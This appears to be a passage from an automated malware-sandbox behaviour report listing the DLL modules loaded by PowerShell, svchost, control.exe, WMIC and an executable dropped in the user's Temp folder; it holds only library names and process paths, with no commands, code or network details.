Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\control.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
